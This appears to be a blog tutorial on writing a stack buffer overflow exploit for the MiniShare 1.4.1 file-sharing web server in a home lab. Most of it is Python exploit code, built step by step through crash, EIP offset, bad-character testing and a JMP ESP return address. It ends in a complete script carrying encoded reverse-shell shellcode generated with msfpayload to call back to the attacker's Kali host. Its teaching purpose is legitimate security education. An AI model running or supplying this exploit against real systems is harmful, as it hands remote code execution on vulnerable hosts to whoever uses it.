Simple Buffer Overflow

stack-overflow

 

In my pursuit of gaining a good understanding of how buffer overflows occur I decided to write a good and easy introductional tutorial on the subject. If you enjoy it, find errors or got any other kind of feedback please do leave a comment. There’s also no need to input a real e-mail address when leaving a comment if you do not want to, the only thing is that if its approved you can use it again to skip the moderation part. Without much further ado here’s my tutorial on writing a simple buffer overflow exploit.

A buffer overflow can happen if a variable tries to store more information than the variable is able to contain. This can cause the program to outright crash, cause unwanted behavior like bypassing controls or causing false negatives. It’s also possible that a buffer overflow will lead to code execution on a target system. Regardless of what way the program will behave once a overflow occurs it does mean that data somewhere in the stack became overwritten with a new value. A light introduction can be found here, a more comprehensive introduction can be found here. For example if you declare an buffer that should be able to hold a maximum of 10 bytes of data it will overflow if you try to squeeze more into it.

Today we’re going to write an exploit for a piece of software that suffers from a buffer overflow vulnerability. Minishare is a program that will allow its users to share files through a web-service.
We will need the following:

  • A windows (virtual) machine with MiniShare 1.4.1 and a debugger. I’m going to use Windows XP 32-bits, Immunity Debugger with Mona.py but feel free to choose whatever you’re more comfortable with. The IP of this machine will be 192.168.0.118.
  • A host with the Metasploit framework and python. I’m going to use a Kali VM and the IP of this machine will be 192.168.0.121.

If you prefer another language go ahead and use that instead, it’s only a matter of personal taste really.

The vulnerability consist in the HTML request, precisely in the GET header. Presumably most of you will know how a HTML header looks like but for you that don’t here’s how an ordinary HTML request might look like:

 

GET / HTTP/1.1
Host: 192.168.0.118
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive

 

We won’t go into fuzzing but the crash will happened if we send 2220 junk characters into the GET header. However, if you want to write a fuzzer (in python or w/e) you can do that too. A simple example would be to start sending 100 bytes (for example) and then add 50 bytes for each try until the Minishare program crash.

The HTML request we will do will look something like this.
Pseudo-code:

GET + 2220*character + HTTP/1.1

Let’s create a python script that crash the Minishare program.

 

import socket
ip = '192.168.0.118'
port = 80
buffer = 'GET ' + '\x41'*2220 + ' HTTP/1.1\r\n\r\n'

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect((ip, port))
sock.send(buffer)
sock.close

Once this is done it’s time to fire up the debugger, start the Minishare program from the debugger (or use attach). Now change to the Kali VM (or whatever you decided to go with) and run our python code. Your debugger should look something like this.

BoF

Now this is interesting. We sent the char ‘\x41’ 2220 times into the Minishare program. Upper-case A is the ascii equivalent of hex 0x41 and in the picture we can see both EBX and EIP overwritten with it. We can also see that there’s a bunch of ‘A’s to the right of ESP in the upper right corner. If we right-click ESP and press ‘follow in dump’ we will notice that there is a lot of ‘A’s loaded into the memory.

So what is EIP? It means Extended Instruction Pointer and it’s basically a JMP instruction. If we can control its content we can decide where to the program is going to go next. This means that if we decide to send shellcode in our buffer we can point the program to jump to its location and thus execute it. Nice.

To find where the location of the EIP we’re going to use the Metasploit framework; namely the tool pattern_create. It creates a unique string based on a user-supplied length. We will use the output of pattern_create and send it as our buffer. Now use locate pattern_create.rb to find its path and then execute: ./pattern_create.rb 2220

import socket
ip = '192.168.0.118'
port = 80
pattern_create = 'Aa0Aa1Aa....not posting 2220 characters on the blog here but you get it'
buffer = 'GET ' + pattern_create + ' HTTP/1.1\r\n\r\n'

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect((ip, port))
sock.send(buffer)
sock.close

Restart the debugger and open/attach the Minishare binary/process. Once that’s done fire off the updated exploit code. The result in the debugger should look something like this.

BoF2

Now we’re going to use the content of EIP (36684335 in my case) and feed it to pattern_offset. The ruby script pattern_offset is (as you might have guessed) another tool that’s part of the Metasploit framework. This tool will be then take our supplied value and based on that calculate the exact location (offset) of where the overwrite of the EIP starts. The script will be in the same directory as pattern_create. Execute ./pattern_offset.rb 36684335. Change value if needed.

Let’s update our code to reflect our new finding. First we will fill the space with A’s, then overwrite the EIP with B’s and then fill the last part of the buffer with C’s. Expanding the buffer variable creation to several lines due to making it easier to read, hopefully it helps.

import socket
ip = '192.168.0.118'
port = 80

buffer = 'GET ' 
buffer += '\x41'*1787                   # A
buffer += '\x42'*4                      # B
buffer += '\x43'*(2220-1787-4)          # C
buffer += ' HTTP/1.1\r\n\r\n'

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect((ip, port))
sock.send(buffer)
sock.close

Once the changes are done, relaunch the debugger+Minishare and then fire off the exploit. Make sure EIP is 42424242, if it is not you have made an error somewhere. Here how it is supposed to look.

3

Now we can cause the program to crash and we also control the EIP. The next step would be to generate whatever payload we wish to fire off. However before we can do that we need to find out if the HTML protocol or the program itself got any characters that we cannot use. One common bad character for example is the null byte, \x00. The badchar list here does not contain \x00 and if you want you can include it, however I will not. Here’s the updated code.

import socket
ip = '192.168.0.118'
port = 80

badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"	
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"	
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"	
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"	
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"	
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"	
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"	
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"	
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"	
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"	
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"	
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"	
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"	
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"	
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"	
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

buffer = 'GET ' 
buffer += '\x41'*1787                   # A
buffer += '\x42'*4                      # B
buffer += badchars
buffer += '\x43'*(2220-1787-4-len(badchars))         
buffer += ' HTTP/1.1\r\n\r\n'

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect((ip, port))
sock.send(buffer)
sock.close

Restart debugger+Minishare and fire off the updated exploit. Once the program crash right click the ESP register and press follow in dump. The bottom left window will look something like this.

4

If we study the hex dump we can see the following:
01 02 03 04 05 06 07 08
09 0A 0B 0C 0A 00 00 00
00 00 00 00 00 00 00 00

It would seem like \x0d would be a bad character! Remove it from the code, restart everything and fire off the exploit once again. While analyzing the hex dump this time it would seem like everything is in order. Now we know that we cannot use \x00 and \x0d in our shellcode. The later versions of Metasploit use powershell to generate windows shells, considering we want to keep our shellcode somewhat small we will use shikata ga nai instead. Feel free to use any shellcode you want.

msfpayload windows/shell_reverse_tcp LHOST=192.168.0.121 LPORT=5555 R | msfencode -b ‘\x00\x0d’ -e x86/shikata_ga_nai

This will result in a shellcode that’s 341 bytes without 0x00 or 0x0d. However, if you run the same command but remove ‘-e x86/shikata_ga_nai’ the size will differ quite a bit. The shellcode using powershell_base64 will instead be 913 bytes, way too big for our exploit. It is worth mentioning that anti-viruses will most likely flag the shikata encoded shellcode and be less inclined to flag the powershell one, but that’s another story. Let’s update our exploit.

import socket
ip = '192.168.0.118'
port = 80

shellcode = ("\xbd\xeb\xd0\x8d\x6d\xda\xc1\xd9\x74\x24\xf4\x58\x31\xc9"
"\xb1\x4f\x31\x68\x14\x83\xe8\xfc\x03\x68\x10\x09\x25\x71" 
"\x85\x44\xc6\x8a\x56\x36\x4e\x6f\x67\x64\x34\xfb\xda\xb8" 
"\x3e\xa9\xd6\x33\x12\x5a\x6c\x31\xbb\x6d\xc5\xff\x9d\x40" 
"\xd6\xce\x21\x0e\x14\x51\xde\x4d\x49\xb1\xdf\x9d\x9c\xb0" 
"\x18\xc3\x6f\xe0\xf1\x8f\xc2\x14\x75\xcd\xde\x15\x59\x59" 
"\x5e\x6d\xdc\x9e\x2b\xc7\xdf\xce\x84\x5c\x97\xf6\xaf\x3a" 
"\x08\x06\x63\x59\x74\x41\x08\xa9\x0e\x50\xd8\xe0\xef\x62" 
"\x24\xae\xd1\x4a\xa9\xaf\x16\x6c\x52\xda\x6c\x8e\xef\xdc" 
"\xb6\xec\x2b\x69\x2b\x56\xbf\xc9\x8f\x66\x6c\x8f\x44\x64" 
"\xd9\xc4\x03\x69\xdc\x09\x38\x95\x55\xac\xef\x1f\x2d\x8a" 
"\x2b\x7b\xf5\xb3\x6a\x21\x58\xcc\x6d\x8d\x05\x68\xe5\x3c" 
"\x51\x0a\xa4\x28\x96\x20\x57\xa9\xb0\x33\x24\x9b\x1f\xef" 
"\xa2\x97\xe8\x29\x34\xd7\xc2\x8d\xaa\x26\xed\xed\xe3\xec" 
"\xb9\xbd\x9b\xc5\xc1\x56\x5c\xe9\x17\xf8\x0c\x45\xc8\xb8" 
"\xfc\x25\xb8\x50\x17\xaa\xe7\x40\x18\x60\x9e\x47\x8f\x4b" 
"\x09\x47\x29\x24\x48\x47\xdc\x07\xc5\xa1\xb4\x77\x80\x7a" 
"\x21\xe1\x89\xf0\xd0\xee\x07\x90\x71\x7c\xcc\x60\xff\x9d" 
"\x5b\x37\xa8\x50\x92\xdd\x44\xca\x0c\xc3\x94\x8a\x77\x47" 
"\x43\x6f\x79\x46\x06\xcb\x5d\x58\xde\xd4\xd9\x0c\x8e\x82" 
"\xb7\xfa\x68\x7d\x76\x54\x23\xd2\xd0\x30\xb2\x18\xe3\x46" 
"\xbb\x74\x95\xa6\x0a\x21\xe0\xd9\xa3\xa5\xe4\xa2\xd9\x55" 
"\x0a\x79\x5a\x65\x41\x23\xcb\xee\x0c\xb6\x49\x73\xaf\x6d" 
"\x8d\x8a\x2c\x87\x6e\x69\x2c\xe2\x6b\x35\xea\x1f\x06\x26" 
"\x9f\x1f\xb5\x47\x8a")


buffer = 'GET ' 
buffer += '\x41'*1787 
buffer += '\x42'*4
buffer += shellcode
buffer += '\x43'*(2220-1787-4-len(shellcode))
buffer += ' HTTP/1.1\r\n\r\n'


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect((ip, port))
sock.send(buffer)
sock.close

Remember that we could control the EIP? Now we need to point it to our shellcode. This is done by making the program execute a JMP ESP instruction. I press ctrl+f and type in JMP ESP and hit enter; no results, typical. All hope is not lost, let’s see if we can find a loaded dll that seem suitable and search that one. In this case a suitable dll would be one that lacks memory protection like ASLR and DEP. I’m going to use the python module Mona in the Immunity Debugger but it is very possible to use Ollydbg as well. Let’s type !mona modules in the bottom bar and see what we find.

Both USER32.DLL and SHELL32.DLL are suitable for our needs. Now we’re going to find the opcode (operation code) for a JMP ESP instruction. To find out what that is we’re going to use another tool from the Metasploit framework called nasm_shell and it is located in the same directory as the two pattern ruby scripts.

5

Great. Now let’s use mona again to find all locations of the jmp esp opcode. Type !mona find -s “\xff\xe4” -m user32.dll in the Immunity Debugger.

6

I pick one that seem suitable and copy the address. The addresses are stored in little-endian format which means they are read into the memory backwards. So, this means we need to take our address and turn it backwards. This means that 7E4456F7 will become F756447E and then we rewrite this to \xF7\x56\x44\x7E. That is the value we will use in our exploit to overwrite the EIP location.

This is how our buffer variable should look now.

buffer = 'GET '
buffer += '\x41'*1787
buffer += '\xF7\x56\x44\x7E'
buffer += shellcode
buffer += 'x43'*(2220-1787-4-len(shellcode))
buffer += ' HTTP/1.1\r\n\r\n'

 

First we restart the debugger+Minishare and on our Kali VM we start a netcat listener to ‘catch’ the reverse shell on port 5555 and then fire off the exploit. Hm, crash but no shell. This happens because our shellcode is encoded to avoid the bad characters and thus self extract itself in the memory. Since there’s no space between the EIP and our shellcode it got no space to extract and will then overwrite itself which will result in a non-working payload. This can we avoid by adding nops between the EIP and shellcode. Great! Let’s prettify our exploit, add the nops and then give it another try.

import socket
ip = '192.168.0.118'
port = 80

shellcode = ("\xbd\xeb\xd0\x8d\x6d\xda\xc1\xd9\x74\x24\xf4\x58\x31\xc9"
"\xb1\x4f\x31\x68\x14\x83\xe8\xfc\x03\x68\x10\x09\x25\x71" 
"\x85\x44\xc6\x8a\x56\x36\x4e\x6f\x67\x64\x34\xfb\xda\xb8" 
"\x3e\xa9\xd6\x33\x12\x5a\x6c\x31\xbb\x6d\xc5\xff\x9d\x40" 
"\xd6\xce\x21\x0e\x14\x51\xde\x4d\x49\xb1\xdf\x9d\x9c\xb0" 
"\x18\xc3\x6f\xe0\xf1\x8f\xc2\x14\x75\xcd\xde\x15\x59\x59" 
"\x5e\x6d\xdc\x9e\x2b\xc7\xdf\xce\x84\x5c\x97\xf6\xaf\x3a" 
"\x08\x06\x63\x59\x74\x41\x08\xa9\x0e\x50\xd8\xe0\xef\x62" 
"\x24\xae\xd1\x4a\xa9\xaf\x16\x6c\x52\xda\x6c\x8e\xef\xdc" 
"\xb6\xec\x2b\x69\x2b\x56\xbf\xc9\x8f\x66\x6c\x8f\x44\x64" 
"\xd9\xc4\x03\x69\xdc\x09\x38\x95\x55\xac\xef\x1f\x2d\x8a" 
"\x2b\x7b\xf5\xb3\x6a\x21\x58\xcc\x6d\x8d\x05\x68\xe5\x3c" 
"\x51\x0a\xa4\x28\x96\x20\x57\xa9\xb0\x33\x24\x9b\x1f\xef" 
"\xa2\x97\xe8\x29\x34\xd7\xc2\x8d\xaa\x26\xed\xed\xe3\xec" 
"\xb9\xbd\x9b\xc5\xc1\x56\x5c\xe9\x17\xf8\x0c\x45\xc8\xb8" 
"\xfc\x25\xb8\x50\x17\xaa\xe7\x40\x18\x60\x9e\x47\x8f\x4b" 
"\x09\x47\x29\x24\x48\x47\xdc\x07\xc5\xa1\xb4\x77\x80\x7a" 
"\x21\xe1\x89\xf0\xd0\xee\x07\x90\x71\x7c\xcc\x60\xff\x9d" 
"\x5b\x37\xa8\x50\x92\xdd\x44\xca\x0c\xc3\x94\x8a\x77\x47" 
"\x43\x6f\x79\x46\x06\xcb\x5d\x58\xde\xd4\xd9\x0c\x8e\x82" 
"\xb7\xfa\x68\x7d\x76\x54\x23\xd2\xd0\x30\xb2\x18\xe3\x46" 
"\xbb\x74\x95\xa6\x0a\x21\xe0\xd9\xa3\xa5\xe4\xa2\xd9\x55" 
"\x0a\x79\x5a\x65\x41\x23\xcb\xee\x0c\xb6\x49\x73\xaf\x6d" 
"\x8d\x8a\x2c\x87\x6e\x69\x2c\xe2\x6b\x35\xea\x1f\x06\x26" 
"\x9f\x1f\xb5\x47\x8a")


buffer = 'GET ' 
buffer += '\x90'*1787 
buffer += '\xF7\x56\x44\x7E'
buffer += '\x90'*16
buffer += shellcode
buffer += '\x90'*(2220-1787-4-len(shellcode))
buffer += ' HTTP/1.1\r\n\r\n'


print 'Sending really evil stuff to %s' % ip
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = sock.connect((ip, port))
sock.send(buffer)
sock.close

Let’s (hopefully for the last time) restart the debugger+Minishare and then (setup new netcat listener if needed) and fire off the exploit again. This time a shell pops in our Kali VM. Awesome!

7